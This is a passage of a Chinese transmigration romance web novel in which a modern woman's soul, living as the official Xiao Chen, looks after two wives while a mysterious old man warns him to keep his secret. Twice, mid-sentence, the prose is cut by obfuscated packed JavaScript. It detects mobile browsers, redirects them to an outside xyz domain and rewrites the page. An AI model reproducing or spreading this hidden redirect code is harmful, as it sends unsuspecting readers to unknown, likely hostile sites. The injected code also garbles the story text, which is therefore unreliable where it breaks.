丁香则接过他手里的官帽,轻声道:“公子累了吧?我去把汤端来。” 肖晨看着两人忙碌的身影,白日里在官场攒下的些许疲惫,忽然就散了。他伸手,一手牵住一个,笑道:“今日听了出好戏,回头讲给你们听。” 檐角的灯笼轻轻晃动,将三人的影子叠在一起,在青石板上铺成一片温柔的夜色。官场路远,但此刻身边的温度,足够支撑他一步步走下去了。 晚饭时,肖父肖母看着席间从容谈笑的儿子,眼里满是欣慰。肖父放下酒杯,声音带着几分感慨:“晨儿,如今你在吏部当差,看着是真有了官威,爹娘也替你高兴。” 他顿了顿,语气郑重起来:“家里那点产业,你就不用分心管了,有我守着就行。你安心在朝堂上做事,别辜负了这身前程。” 肖母也跟着点头,给肖晨夹了块肉:“是啊,你也快成年了,家里的事该放手就放手。我和你爹商量着,过几日就搬到后院住,那边清净。这前院宅子,就留给你们三个年轻人,自在些。” 肖晨刚要开口,肖父已摆手道:“就这么定了。家里的中馈琐事,傲雪一向打理得好,往后就都交给你了。” 李傲雪连忙起身福了福身,语气恭敬:“多谢爹娘信任,儿媳定当尽心,照顾好少爷,打理好家事,不让爹娘操心。” 肖母满意地点点头,目光转到时,脸色却沉了沉,语气也带了几分厉色:“丁香。” 丁香正低头扒饭,闻声连忙起身,怯生生地应道:“是,母亲。” “我们搬到后院后,眼不见心不烦,”肖母看着她,语气带着警告,“你给我安分点!少夫人是你该敬着的,别仗着几分小聪明就想攀高枝,坏了府里的规矩,仔细你的皮!” “贱蹄子”三个字像针一样扎在丁香心上,她脸色瞬间白了,指尖紧紧攥着衣角,却不敢反驳,只能低着头小声应:“丁香……丁香记下了,绝不敢放肆。” 肖晨皱了皱眉,刚想替丁香说句话,却被李傲雪悄悄拉了拉衣袖。他转头看她,李傲雪微微摇头,示意他别出声——长辈面前,争执反而让丁香更难堪。 肖父轻咳一声,打圆场道:“好了,吃饭吧。都是一家人,往后好好相处就是。” 席间的气氛一时有些凝滞。肖晨看着丁香垂着的头,发丝遮住了她的脸,不知是委屈还是难堪,心里掠过一丝不忍。 饭后,肖母拉着李傲雪叮嘱了许久家事,肖父则带着肖晨说些官场注意事项。丁香默默收拾着碗筷,脚步轻得像怕惊扰了谁。 等肖晨回到卧房时,见李傲雪正坐在灯下缝补,便走过去问:“少爷,娘对丁香是不是太严厉了?” 李傲雪放下针线,叹了口气:“娘就是那性子,刀子嘴豆腐心,往后咱们多护着些丁香就是。”她握住肖晨的手,轻声道,“放心吧,有我在,不会让她受委屈的。” 肖晨看着她温和的眉眼,心里安定了些。他知道,往后这宅子里的日子,还需他们三人互相扶持,才能越过越顺。 李傲雪抬头看向肖晨,眼里带着温和的体谅:“少爷,你去看看丁香吧,安慰她几句。” 肖晨愣了愣,下意识道:“那你呢?不要我陪你睡?” “我没事的。”李傲雪笑着推了推他的手臂,“丁香方才受了委屈,心里定是不好受,此刻她更需要少爷。去吧。” 肖晨望着她坦荡的眼神,心里又是暖又是愧,点了点头:“那我去去就回。” 他走到丁香的小院,见窗纸还亮着,轻轻敲了敲门。 “谁?”丁香的声音带着点沙哑。 “是我。” 门很快开了,丁香穿着素色的寝衣,眼眶红红的,显然刚哭过。她抬头见是他,有些局促地往后退了退:“公子……你怎么没陪着少夫人?” 肖晨没说话,上前一步将她揽入怀中,低头便吻住了她。这个吻带着安抚的意味,轻柔而坚定,像要驱散她心里的委屈。 丁香起初还僵着,渐渐地便软了下来,伸手紧紧抓住他的衣襟,眼泪无声地往下掉。 许久,肖晨才松开她,指尖轻轻拭去她脸颊的泪痕,声音低沉而认真:“你也是我的妻子,和傲雪一样。方才娘说的话,让你受委屈了。” 丁香摇摇头,吸了吸鼻子,声音带着浓重的鼻音:“公子,我真的没事。” 她垂下眼,语气里带着难以掩饰的自卑:“谁让我是从花船出来的……原就是贱籍,能有如今的日子,已经是天大的福分了。娘说几句又算什么,我不会跟她计较的。” “不许这么说自己。”肖晨皱紧眉头,捧起她的脸,强迫她看着自己,“在我心里,你和傲雪没有分别。过去的事早已过去,从你进了这肖府的门,你就是我的人,谁也不能轻贱你。” 他顿了顿,语气愈发郑重:“往后若再有人说这种话,无论是谁,你都不必忍,告诉我,我来护着你。” 丁香怔怔地看着他,眼眶里又蓄满了泪,这次却不是委屈,而是混杂着感动与暖意。她张了张嘴,想说什么,最终却只是扑进他怀里,紧紧抱住他,哽咽道:“公子……” 肖晨轻轻拍着她的背,任由她把眼泪蹭在自己衣襟上。窗外的月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162776|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光透过窗缝照进来,落在两人相拥的身影上,安静而温柔。 丁香趴在肖晨肩头哭了好一阵,直到哭声渐渐歇了,才抽噎着抬起头,眼尾红得像染了胭脂。 肖晨拿起帕子,仔细替她擦去脸颊的泪痕,指尖碰到她微肿的眼皮时,动作放得格外轻:“好了,不能再哭了,小心伤着眼睛,明日该肿了。” 丁香吸了吸鼻子,乖乖点头,睫毛上还挂着泪珠,在烛火下闪着光。 “天都晚了,睡吧。”肖晨替她掖了掖被角,自己也躺了下来。 刚躺下,丁香就翻个身,紧紧抱住了他,像抓住救命稻草似的,把脸埋在他胸口:“公子……能嫁给你,是我这辈子最幸福的事。我真的……好爱你。” 她的声音还带着哭后的沙哑,却字字真切,像小石子投进肖晨心里,漾开一圈圈柔软的涟漪。 肖晨抬手轻轻抚摸着她的长发,下巴抵着她的发顶,声音温和而坚定:“傻话。该说有福气的是我才对,能有你和傲雪陪在身边,是我几辈子修来的缘分。” 他顿了顿,指尖划过她的后背,语气里满是珍视:“你是我的妻子,从你进府那天起就是。既是我的人,自然该被好好疼着,往后不许再胡思乱想,更不许说自己轻贱的话,听见了吗?” 丁香在他怀里用力点头,把他抱得更紧了些,仿佛这样就能确认他说的都是真的。她能感觉到他胸膛的温度,能听到他沉稳的心跳,这些都让她无比安心。 “嗯,我听公子的。”她闷闷地应着,声音里终于有了笑意。 烛火不知何时灭了,只有月光从窗棂钻进来,在被面上投下斑驳的光影。两人相拥着,呼吸渐渐变得均匀。 肖晨闭着眼,能闻到她发间淡淡的香气,心里一片安宁。他想,或许这就是老者说的“归处”——不是回到原来的世界,而是在这个时空里,守着身边人,过着这样有笑有泪、有牵挂的日子。 夜渐渐深了,小院里静悄悄的,只有风吹过树叶的沙沙声,温柔地裹着满室的暖意。 天光透过窗纸漫进屋里时,丁香先醒了。肖晨还睡得沉,侧脸埋在枕间,长睫随着呼吸轻轻颤动,褪去了白日里的沉稳,添了几分少年人的清俊。她撑着胳膊看了许久,直到他睫毛颤了颤,才慌忙躺好,假装刚醒。 肖晨睁开眼,就见她睁着亮晶晶的眸子望着自己,忍不住笑了:“醒了?” 丁香点点头,脸颊微红,小声道:“公子睡着的样子真好看。” “哦?”肖晨挑眉,伸手捏了捏她的脸颊,“这是还没看够?” “看不够。”丁香老实回答,说着又低下头,声音细若蚊蚋,“只是……公子昨、昨天……怎么不碰我呢?” 肖晨一怔,随即明白了她的意思,眼底的笑意淡了些,多了几分认真:“你昨天受了那么大委屈,心里正难受,我怎么能只顾着自己?夫妻之事,本就该你情我愿,得先顾着你的情绪才行。” 他顿了顿,语气愈发郑重:“再说,这种事必须得征求你的意见,哪能强迫?那是不对的。” 丁香听得愣住了,眼里满是不可思议。她从花船到肖府,见多了男人的理所当然,从未有人跟她说过这样的话。她猛地抬头,眼眶又红了:“公子……从来没有人对我这么说过。” 她抓住肖晨的手,急切地解释:“我没有不愿意的!真的没有!若是你不碰我,定是我哪里伺候得不好,或是哪里做得让你不满意了……你一定要告诉我,我改,我一定改!” 肖晨看着她慌乱的样子,心里像被什么东西揪了一下。他反握住她的手,轻轻拍了拍:“傻瓜,跟你没关系。” 他望着她的眼睛,一字一句道:“在我这里,你不用刻意讨好谁,也不用想着怎么改。你愿意,我们便亲近;你不愿,我绝不勉强。这不是你的错,是我该尊重你。” 丁香怔怔地看着他,眼泪毫无预兆地掉了下来,这次却是热的,烫在手背上,也烫在心里。她忽然扑进他怀里,放声哭了出来,像是要把过去所有的委屈都哭尽。 肖晨任由她抱着,轻轻拍着她的背,什么也没说。他知道,有些观念不是一朝一夕能改的,但他会慢慢让她明白,她值得被尊重,值得被好好对待,无关身份,只因为她是她。 丁香听着他的话,却愈发着急,攥着他的衣襟摇头:“公子以后可不能这样了。做妻子的,若不能让丈夫满意,那便是我的错。” 肖晨无奈,低头吻了吻她的唇角,声音温柔却坚定:“我对你的爱,是纯洁的,不只是□□上的亲近。我是个人,有感情,有思想,不能只被欲望牵着走,那样就玷污了这份爱。” 他轻抚着她的长发,眼底满是珍视:“你是我的妻子,我哪能有什么不满意?能有你的爱,能守着你和傲雪过日子,我才是这世上最幸福的人。” 话未说完,丁香忽然抬手勾住他的颈,用力吻了上去。这个吻带着她全部的执拗与滚烫的情意,辗转厮磨,不肯松开。 “我不管那些道理,”她喘息着,额头抵着他的,眼里闪着泪光,却异常明亮,“我只知道我爱公子,若有哪里不好,一定是我做得不够。公子是这世上最好的人,这点绝不会错。” 肖晨被她吻得心头滚烫,那些准备好的道理瞬间被抛到脑后。他能感觉到她话语里的虔诚,那是一种小心翼翼却又无比坚定的爱,像捧着珍宝般护着他。 他不再多言,只伸手将她紧紧拥入怀中,回应着她的吻。窗外的阳光漫进帐幔,将两人的身影染成一片暖金。 或许她一时还不懂什么是平等的尊重,但这份毫无保留的爱意,已足够让他心头柔软。往后的日子还长,他可以慢慢教,慢慢等,等她真正明白,在这份感情里,她与他一样,都是被珍视的那一个。 吻毕,肖晨抵着她的额头轻喘,指尖拂过她泛红的唇角:“再不起,可要误了卯时了。” 丁香这才恋恋不舍地松开手,红着脸应了声“嗯”,转身去取官服。她替他系玉带时,指尖微微发颤,总忍不住抬头看他,眼里的情意像浸了蜜的糖,浓得化不开。 伺候他洗漱完毕,丁香让人把早饭端进了屋。一碗莲子粥,两碟小菜,还有她特意蒸的水晶饺,都是肖晨爱吃的。两人相对而坐,偶尔说上两句闲话,晨光透过窗纸落在粥碗里,漾着细碎的暖光。 “公子慢走。”送他到门口时,丁香替他理了理衣襟,声音里带着点不舍。 “晚上回来给你带城西的糖糕。”肖晨笑了笑,揉了揉她的头发,转身大步离去。 到了吏部,刚迈进公房,李主事就笑着迎上来:“肖主事可算来了,昨儿那凤鸣楼的戏,我这还没回味够呢!” 张大人也放下手里的卷宗,颔首道:“肖主事年纪轻轻,倒是个爽快人。昨日那几杯酒,喝得舒坦。” 其他同僚也纷纷附和,言语间带着亲近——昨日那一场戏酒,彻底消弭了新人初来的隔阂,大家看他的眼神里,多了几分真心的接纳。 肖晨拱手笑道:“能得各位大人认可,是我的荣幸。往后还请多提携。” “好说,好说。”众人笑着应下。 公房里的气氛比昨日更热络了些,有人递过刚核好的文书让他过目,有人提醒他哪份卷宗需格外留意。肖晨一一应着,心里清楚,昨日那番“大方”,算是没白费功夫。 他坐下翻看卷宗,阳光透过窗棂落在纸页上,字迹清晰可见。身边同僚的谈笑声、翻书声、算盘声交织在一起,竟让他觉得格外踏实——这便是他如今的日子,有需要用心经营的人情,有需要认真对待的公务,更有家里等着他归去的温暖。 指尖划过“吏部主事”的官印印记,肖晨轻轻吁了口气,唇角不自觉地扬起。这条路,他会好好走下去。 67.她的神秘来历,和他的担忧 肖晨处理完手头的文书,见离下值还有些时辰,便提前告了假。路过街角的花店,他挑了两束花——一束清雅的兰草,是李傲雪喜欢的;一束娇艳的蔷薇,正合丁香的性子。又绕到点心铺,买了几样她们爱吃的酥饼,这才提着东西往家赶。 进了府,他先把兰草送到李傲雪房里,又将蔷薇插进丁香窗台上的瓷瓶里,点心则分了两盒,各放一份。 做完这些,他才走到正厅,见两人都在,便笑道:“今日没什么事,咱们一起出去逛逛街吧?” 丁香正在给李傲雪研墨,闻言手一顿,脸上泛起喜色,随即又黯淡下去,低下头小声道:“公子,你陪少夫人去吧。我……我这样跟在你们身边,怕是不太好。”她总记着自己的出身,怕在外人面前失了肖晨的体面。 李傲雪放下笔,转头看她,语气温和却坚定:“说什么傻话。你也是少爷明媒正娶的妻子,咱们三人一起出门,有什么不妥?” 肖晨也走上前,伸手拍了拍丁香的肩:“傲雪说得对。你们都是我的妻子,不必在意旁人怎么看。再说,咱们逛咱们的,管别人做什么?” 他看向两人,眼里带着期待:“前几日听人说,城东新开了家布庄,花样新奇,还有家糖画摊子,手艺极好。去看看?” 丁香看着肖晨坦荡的眼神,又看了看李傲雪鼓励的笑意,心里的那点顾虑渐渐散了。她点了点头,声音里带着压抑不住的欢喜:“嗯,听公子和少夫人的。” 李傲雪笑着起身:“那我去换件衣裳,穿那件水绿色的吧,衬着秋色好看。” 丁香也连忙道:“我也去换!” 看着两人匆匆离去的背影,肖晨忍不住笑了。他走到廊下,望着庭院里飘落的银杏叶,心里轻快得像揣了只鸟儿。没了二老的拘束,这宅子里的日子,果然更自在了些。 不多时,李傲雪穿着水绿罗裙,鬓边簪着朵白玉兰,温婉雅致;丁香则换了件粉色襦裙,头发梳得整整齐齐,脸上带着羞赧的笑意。 肖晨走上前,一手牵住一个:“走吧,让管家备车。” 马车缓缓驶出院门,车轮碾过青石板路,发出轻快的声响。车厢里,李傲雪和丁香正低声说着布庄的花样,肖晨听着,偶尔插句话,笑声从车窗飘出去,落在秋日的阳光里,格外悦耳。 马车在布庄门口停下,肖晨先跳下车,伸手将李傲雪和丁香一一扶了下来。刚站稳,他便很自然地伸出手,左手牵住李傲雪,右手拉住丁香。 李傲雪下意识想挣开,脸上泛起薄红,低声道:“少爷,这可不行。大庭广众之下,这样太过张扬,有失体统。”她虽性子爽朗,却也懂市井间的规矩,三个人这样手牵手走在街上,难免引来非议。 肖晨却握得更紧了些,挑眉笑道:“怕什么?男女有别不假,但你们都是我的妻子,光明正大,又不是见不得人。” 他扫了眼街上往来的行人,语气坦然:“旁人爱怎么看就怎么看,咱们过自己的日子,何必在意那些闲言碎语?” 丁香被他牵着,手心微微出汗,心里又慌又甜。她偷偷抬眼,见街上果然有人朝他们看来,有好奇,有惊讶,却并无恶意,便也慢慢定下心来,任由他牵着。 李傲雪看着肖晨坦荡的侧脸,又看了看丁香眼里的欢喜,心里那点顾虑渐渐消了。她反手握紧肖晨的手,笑道:“罢了,听你的。左右有少爷护着,咱们还怕什么?” 肖晨见她松了口,笑得更欢了,牵着两人往布庄走去。阳光洒在三人身上,将他们的影子拉得很长,交叠在一起,像一幅温暖的画。 布庄的伙计见三人进来,先是愣了愣,随即连忙迎上来:“三位里面请,刚到了批江南的新料子,花色鲜得很!” 李傲雪和丁香被货架上的绸缎吸引,凑过去细细挑选,肖晨就站在一旁看着,偶尔帮她们递个眼色,说句“这个颜色衬你”。 伙计在一旁看得稀奇,却也识趣地不多问,只殷勤地介绍着料子。 街上的风带着桂花香气飘进来,混着绸缎的柔滑气息,让人心里暖洋洋的。李傲雪拿起一匹月白色的云锦,转头对丁香笑道:“这个做件夹袄,你穿定好看。” 丁香也挑了块水绿色的纱罗:“少夫人穿这个做件披风,配你今日的裙子正好。” 肖晨在一旁听着,心里像被什么东西填满了,软乎乎的。他忽然觉得,所谓的体统规矩,哪有身边人的笑意重要? 只要她们高兴,这点“张扬”,又算得了什么。 从布庄出来,肖晨又带着两人进了隔壁的首饰铺。他替李傲雪挑了支珍珠步摇,圆润的珠子垂在耳畔,衬得她愈发温婉;给丁香选了对银镶玛瑙的耳环,红得亮眼,正合她活泼的性子。两人摸着新得的首饰,眼里的笑意藏不住,连脚步都轻快了几分。 往前走了两条街,就到了说书先生的茶棚。还没进门,就听见里面传来拍案的惊堂木声,热闹得很。肖晨让伙计打包了一碟瓜子、两盒蜜饯,还有几样精巧的糕点,才带着两人找了个靠窗的位置坐下。 刚坐稳,说书先生便开了腔,讲的是段江湖轶事,刀光剑影间藏着儿女情长。李傲雪听得认真,手指无意识地捻着衣角;丁香则一边嗑瓜子,一边瞪大眼睛,生怕漏了哪个细节。 肖晨看着她们专注的模样,忽然觉得这场景有些熟悉——像极了现代时和朋友去影院看电影,手里捧着零食,身边是亲近的人,心里满是松弛的暖意。 他往椅背上靠了靠,轻声道:“累了就靠着歇歇。” 李傲雪闻言,侧过头看了他一眼,见他眼里带着笑意,便也不扭捏,轻轻将头靠在了他的左肩。丁香犹豫了一下,也小心翼翼地把脸颊贴在了他的右肩,发丝蹭得他脖颈有些发痒。 肖晨伸出手臂,悄悄揽住两人的腰,将零食往她们面前推了推。茶棚里的叫好声、说书声混在一起,窗外的阳光斜斜地照进来,落在三人交叠的身影上,温暖得像裹了层棉絮。 李傲雪拿起颗蜜饯递到他嘴边,声音压得很低:“甜吗?” 肖晨含住,点了点头,又拿起块糕点喂给丁香:“尝尝这个,杏仁味的。” 丁香咬了一小口,眼睛弯成了月牙:“好吃。” 说书先生讲到精彩处,拍得惊堂木震天响,两人都下意识往他怀里缩了缩,随即又相视一笑,眼里满是默契。 肖晨低头看着她们近在咫尺的笑脸,心里忽然无比满足。管它什么现代古代,管它什么身份规矩,此刻身边有她们,有这人间烟火,便是最好的日子。 听完书出来,夕阳已染红了半边天。三人慢悠悠往回走,肖晨手里提着给她们买的玩意儿,李傲雪和丁香一左一右挽着他的胳膊,正说着书里的热闹,忽然撞见街角站着个熟悉的身影。 正是那位白发老者。 他依旧穿着青布长衫,手里拄着竹杖,见了他们,笑眯眯地冲李傲雪点头:“夫人真是好福气,有这么疼你的丈夫。” 李傲雪认出是那日来府里的老者,忙福了福身,语气诚恳:“能嫁给少爷,是我的荣幸。” 老者目光落在她身上,忽然收了笑意,语气郑重起来:“夫人,前几日的话,还记得吗?” 李傲雪一怔,随即想起那句“有你才有他”,心里微动,点了点头。 “切记,切记。”老者重复道,眼神深邃,“一定要好好珍惜他。这世间的缘分,看似牢固,实则脆弱。若是他没了,你们如今的安稳幸福,也会跟着烟消云散。” 这话听得李傲雪心头一紧,下意识攥紧了肖晨的胳膊,脸色微微发白:“老人家……这话是什么意思?” 老者却没解释,只看了眼肖晨,又笑了起来,像是刚才的凝重从未有过:“缘分自有天定,也需人护。走吧,莫误了归途。” 说罢,他转身便走,身影很快融入暮色里,依旧是悄无声息的。 肖晨看着老者消失的方向,眉头紧锁。这老者三番两次出现,话里总带着玄机,尤其那句“若是他没了”,像根刺扎在心上。他低头看李傲雪,见她脸色不好,忙握住她的手:“别听他胡言乱语,我好端端的,哪会有事。” 李傲雪抬头看他,眼里满是担忧:“可他说得那么认真……” “不过是江湖术士的故弄玄虚罢了。”肖晨强装轻松,揉了揉她的头发,“咱们过得好好的,别被不相干的人扰了心绪。” 丁香也在一旁点头:“是啊少夫人,公子说得对,咱们不理会就是。” 李傲雪没再说话,心里却把老者的话牢牢记住了。她悄悄握紧肖晨的手,仿佛这样就能确认他的存在。夕阳把他们的影子拉得很长,她看着两人交握的手影,在心里暗暗发誓:无论如何,她都会守着他,守着这份幸福,绝不能让它消失。 回到府里时,天已经黑透了。丫鬟端上温热的饭菜,李傲雪却没什么胃口,只一个劲地给肖晨夹菜,让他多吃些。 肖晨看在眼里,心里又暖又涩。他知道,老者的话像块石头,在她心里投下了阴影。 饭后,他拉着李傲雪和丁香坐在庭院里看月亮,轻声道:“别想了。不管将来有什么事,咱们三个一起扛,好不好?” 李傲雪望着他认真的眼睛,点了点头,眼眶有些发热。丁香也用力点头:“嗯!咱们一起!” 夜色渐深,肖晨陪着李傲雪躺下,听着她均匀的呼吸声,自己也渐渐沉入梦乡。 梦里,那白发老者又出现了,依旧是青布长衫,竹杖立在身侧,在一片朦胧的白光里望着他。 “你如今在这世间过得安稳,”老者先开了口,声音像从很远的地方传来,“可曾想过,回到自己原来的时空?” 肖晨一怔,脑海里闪过现代的高楼、车流,还有曾经平淡无奇的生活。他摇了摇头,语气无比笃定:“不想回去了。我在现代本就是个平凡女子,没什么留恋的。如今这魂魄附在这具躯壳上,有傲雪,有丁香,她们是我的牵挂。” 他想起丁香怯生生的模样,想起她那些藏在自卑下的爱意,心头软了软:“尤其是丁香,她受了太多苦,我想好好护着她,护着我们仨的日子。” 老者捋了捋胡须,眼里带着几分了然:“你可知,你能来到这里,并非偶然?” 肖晨愣住:“不是因为您……” “我不过是顺水推舟,”老者打断他,“真正的缘由,是李傲雪的那幅肖像画。你与她,本就有跨越时空的缘分,那画便是媒介,引着你的魂魄来了这里。” 肖晨心头巨震,原来那画……还有这层深意? “但你要记着,”老者的语气忽然郑重起来,目光锐利地看着他,“你的真实身份是女子。在你原来的时空,世人对同性之情多有芥蒂;在这世间,你的秘密同样不能让她们知晓。” 他顿了顿,加重了语气:“一旦她们知道肖晨的躯壳里,是个女子的魂魄,你们如今的安稳,怕是要碎了。” 肖晨浑身一僵,冷汗瞬间冒了出来。他从未想过这个问题,可老者的话像警钟,敲得他心头发颤。是啊,无论是现代还是这里,这样的真相都太惊世骇俗,傲雪和丁香……能接受吗? “我……”他张了张嘴,却说不出话来。 “守住秘密,方能守住眼前的幸福。”老者留下这句话,身影便渐渐淡了下去,“好自为之。” “老丈!”肖晨想伸手去抓,却猛地惊醒过来,胸口剧烈起伏,额头上全是冷汗。 身旁的李傲雪被他惊动,迷迷糊糊地睁开眼:“少爷?怎么了?做噩梦了?” 肖晨定了定神,借着月光看着她睡眼惺忪的脸,连忙摇头,伸手将她揽入怀中,声音还有些发颤:“没事,做了个乱梦罢了。睡吧。” 李傲雪“嗯”了一声,往他怀里缩了缩,很快又睡熟了。 肖晨却再无睡意,睁着眼睛望着帐顶。老者的话在他脑海里反复回响,像块巨石压得他喘不过气。 原来他能来到这里,是因为和傲雪的缘分……可他的真实身份,竟成了最大的隐患。 他低头看着怀里熟睡的李傲雪,又想起丁香亮晶晶的眼睛,心里只有一个念头:无论如何,都不能让她们知道。 这个秘密,他要守一辈子。 窗外的月光静静流淌,映着他复杂难明的眼神,一夜未眠。 第二天一早,肖晨草草扒了几口饭,便借口有公务要办出了门。他心里记挂着梦里老者的话,脚步匆匆地往昨日遇见老者的街角赶去,一路四处张望,生怕错过了那抹青布长衫的身影。 转过街角,果然见老者正站在那棵老槐树下,手里拄着竹杖,像是已等了许久。 “公子,我就知道你会来找我。”老者抬眼看向他,笑意里带着几分了然。 肖晨快步上前,拱手道:“老丈,昨日梦中之言……” “梦中话,亦是醒世言。”老者打断他,语气沉了沉,“你如今入了仕途,手握微权,切记不可让官场上的浮华迷了眼。初心若失,纵有滔天权势,也守不住身边的人。” 肖晨默然点头。他何尝不明白,官场如泥潭,一步踏错便可能万劫不复,更别提护着傲雪和丁香了。 老者又道:“还有一事,你必须记牢——在这里,你要遵守这世间的法则,断不可凭着自己的心思去强行改变什么。” 他望着肖晨,眼神凝重:“你来自异世,或许觉得有些规矩陈旧,有些事可以做得更好。但你要知道,万事万物皆有其原本的轨迹,你若强行扭转,看似是好,实则可能引发连你都无法承担的后果,改变许多事物的走向。” 肖晨心里一凛。他确实偶尔会想,以自己现代的见识,或许能让肖府的产业更兴旺,或许能在官场上走得更顺。可老者的话像一盆冷水,浇醒了他的浮躁。 这是古代,皇权至上,礼法森严,容不得半点逾矩。一点微小的改变,都可能像蝴蝶效应般引发巨大的风波,稍有不慎,便是掉脑袋的罪过。他一个异世魂,根本无法与整个时代抗衡。 “老丈说得是。”肖晨深吸一口气,语气郑重,“晚辈明白了。安分守己,遵守法则,绝不敢妄动。” 老者见他听进去了,这才点了点头,神色缓和了些:“你能明白就好。守住本心,守好身边人,比什么都重要。” 说罢,他转身欲走,又回头补充了一句:“那幅画,你且让它一直挂着。” 肖晨还想再问,老者的身影已融入人流,转瞬不见。 他站在原地,望着老者消失的方向,心里翻涌了许久才渐渐平复。阳光穿过槐树叶,在地上投下斑驳的光影,他忽然觉得肩上的担子更重了些——不仅要护着家人,要在官场立足,更要时刻警醒自己,不能被时代吞噬,也不能妄图去改变时代。 他理了理衣襟,转身往吏部走去。脚步比来时沉稳了许多,心里却已打定主意:无论前路如何,只求安稳度日,护得她们周全,便足够了。 李傲雪坐在窗边,指尖轻轻拂过墙上那幅肖像画。画里的自己穿着水绿色的裙子,鬓边簪着朵半开的玉兰,正是前年春日,肖晨在书房里一笔一划画成的。 那时他刚学会握笔,画得不算精致,却把她低头浅笑的模样描得格外传神。她还记得那天阳光很好,他支着画架,时不时抬头看她,眼里的认真像要把她的模样刻进心里。 “有你才有他……”她低声重复着老者的话,眉头微蹙。不明白这画与他们的缘分有什么关系,更不懂老者为何反复叮嘱她要珍惜。 她只知道,少爷是她的丈夫,是她此生唯一的依靠。从初见时的心动,到如今的相濡以沫,她早已把整颗心都系在了他身上。 丁香是个好姑娘,她待她亲厚,也信得过她的品性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166516|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。可女人的直觉让她隐隐觉得,老者的话里藏着她不知道的隐忧。 “谁也别想抢走我的少爷。”李傲雪抬手,指尖轻轻点在画中肖晨落下的款识上,眼神渐渐变得坚定。 她会守着他,守着这个家,就像守着这幅画一样。无论是藏在暗处的威胁,还是说不清道不明的变数,她都不会让任何人破坏眼前的安稳。 窗外的风卷着落叶飘过,画里的绿色裙摆仿佛也动了动。李傲雪望着画中自己的笑脸,忽然笑了——不管老者的话是什么意思,只要她在,就绝不会让任何人伤了少爷,更不会让这份幸福从指缝溜走。 她要牢牢看紧了,用一辈子的时间。 泰山之巅,云雾缭绕如仙境。老者踏着晨露回到观宇,青布长衫被山风拂得微扬,竹杖点在青石板上,发出清脆的回响。 观宇虽简陋,却收拾得干净,院中那棵千年古松虬枝横斜,遮天蔽日。一个梳着双丫髻的小道童正蹲在石阶旁喂灵龟,见老者回来,立刻蹦起来,手里还捏着半片菜叶:“师傅!您可回来了!” 他仰着小脸,眼睛亮晶晶的,像藏着两颗星子:“您这次下山,怎么没把仙子姐姐带回来呀?前儿您还说,她的命格与这方天地连着呢。” 老者放下竹杖,在石桌边坐下,小道童连忙沏了杯热茶递过来。他呷了口茶,望着远处翻涌的云海,声音里带着几分悠远:“仙子有她自己的生活,在人间结了缘,生了牵挂,哪能说走就走。” “可师傅您不是说,她本是瑶池边的一株玉兰,误坠凡尘历劫的吗?”小道童挠挠头,“历完劫,不就该回仙界了?” “劫数哪有那么容易了结。”老者笑了笑,指尖轻轻敲着桌面,“她与那异世魂魄的缘分,是天定,也是人为。那幅画牵了线,往后的路,就得她自己走了。” 他想起李傲雪望着肖晨时,眼里那份藏不住的坚定,又补充道:“她性子刚柔相济,看似温婉,实则有股韧劲儿,是能守住自己幸福的。能不能熬过最终的考验,就看她的造化了。” 小道童似懂非懂,蹲回灵龟旁,嘀咕道:“那仙子姐姐会不会忘了自己是谁呀?就像上次山下那个书生,喝了孟婆汤,连爹娘都不认得了。” “她不会忘。”老者望着云雾深处,语气笃定,“她颈间那枚玉坠,是瑶池水凝的,藏着她的本源灵气,总能在关键时刻提点她。再说……”他顿了顿,眼里闪过一丝复杂,“那异世魂魄虽是女子,对她却是真心,这份情意,足能抵过许多变数。” 山风穿过松针,发出“簌簌”的声响,像谁在低声絮语。老者拿起竹杖,起身往观内走去:“莫要多问了,去把《先天八卦图》抄十遍,午后我要检查。” “啊?又是十遍?”小道童垮下脸,却还是乖乖应着,“哦,知道了师傅。” 老者走进殿内,望着供桌上那盏长明灯,火苗忽明忽暗。他轻轻叹了口气——李傲雪的劫,肖晨的秘,丁香的苦,缠缠绕绕,早已织成一张缘网。他这把老骨头,能做的不过是推波助澜,最终的结局,终究要靠他们自己写。 云雾漫过观宇的飞檐,将一切都笼在一片朦胧里,只余下松涛阵阵,伴着时光缓缓流淌。 肖晨晚上回来刚踏进卧房,李傲雪就迎上来,紧紧抱住了他,手臂收得极紧,像是怕一松手他就会消失。 “少爷,你回来就好。”她的声音带着点发颤,脸颊贴在他的背上,“今天不知怎么了,总觉得心慌,怕……怕哪一天就突然失去你。” 肖晨转过身,轻轻拍着她的背,温声道:“傻丫头,怎么会失去我?你看,我这不是好好的,每天都能回来陪你和丁香吃饭、说话。” 他嘴上安慰着,心里却泛起一阵苦涩。方才回来的路上,他又想起了老者梦中的话,忽然冒出个念头:若是真能带着她们回到现代,会怎么样? 可这个念头刚冒出来,就被他掐灭了。 他想起上次在现代时,网上吵得沸沸扬扬的郑州人民公园打人事件——就因为男孩是同性恋,便遭到一群人的围堵霸凌,视频里的推搡、辱骂,看得人心里发寒。他太清楚,在那个看似开放的时代,偏见与恶意从未消失。(此事件是抖音真实事件) 他甚至能想起自己父母的态度。那时邻居家有个哥哥被发现是同性恋,父母私下里念叨了许久,语气里满是不解与排斥,说“那是病”“会被人戳脊梁骨”。上次他们知道自己说出这句话,宁愿断绝关系,也不会接受。他们怕的不是他“不同”,而是他会因此被指指点点,会过得辛苦。 